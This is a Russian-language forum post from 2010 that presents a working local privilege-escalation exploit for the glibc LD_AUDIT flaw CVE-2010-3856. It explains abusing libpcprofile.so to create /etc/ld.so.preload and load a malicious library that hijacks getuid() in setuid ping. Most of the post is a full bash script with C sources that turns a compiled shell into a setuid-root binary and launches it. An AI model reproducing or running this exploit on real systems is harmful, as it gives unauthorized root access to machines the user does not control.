Показать сообщение отдельно
Старый 27.10.2010, 10:34  
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Более удобный способ эксплуатации последнего бага (где нужен /lib/libpcprofile.so).
Из плюсов - работает там, где крон проверяет права файла, и не нужно ждать запуска нашего файла кроном.

Скрипт создает файл /etc/ld.so.preload вместо /etc/cron.d/exploit, и кладет в него путь до специально созданной либы. Тем самым можно (пере)определять функции, которые используются суидными бинарниками. Так как в данном случае будет использоваться ping, который вызывает getuid(), то она и будет переопредлена. Новая getuid() при вызове просто сделает "chown root.root ./sh; chmod 4755 ./sh".

Код:
#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
 
OUTPUT=/etc/ld.so.preload
 
MASK=`umask`
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$OUTPUT" ping 2> /dev/null
if [ ! -f $OUTPUT ]; then
  echo "System does not appear to be vulnerable"
  exit 0
fi
echo -n > $OUTPUT
umask $MASK
 
cat > sh.c << EOF
#include <unistd.h>
#include <stdio.h>
int main (int argc, char **argv, char **envp)
{
  char *args[] = { "/bin/bash", NULL };
  setuid(geteuid());
  setgid(getegid());
  execve(args[0], args, envp);
  perror("execve failed");
  return 0;
}
EOF
gcc sh.c -o sh
 
cat > libpwn.c << EOF
#include <sys/stat.h>
#include <unistd.h>
uid_t getuid (void)
{
  chown("$PWD/sh", 0, 0);
  chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
  return 0;
}
EOF
gcc -Wall -fPIC -c libpwn.c
gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o
 
echo "$PWD/libpwn.so" > $OUTPUT
ping 2> /dev/null
echo -n > $OUTPUT
./sh
Источник: http://blog.nibbles.fr/2230
SynQ вне форума   Ответить с цитированием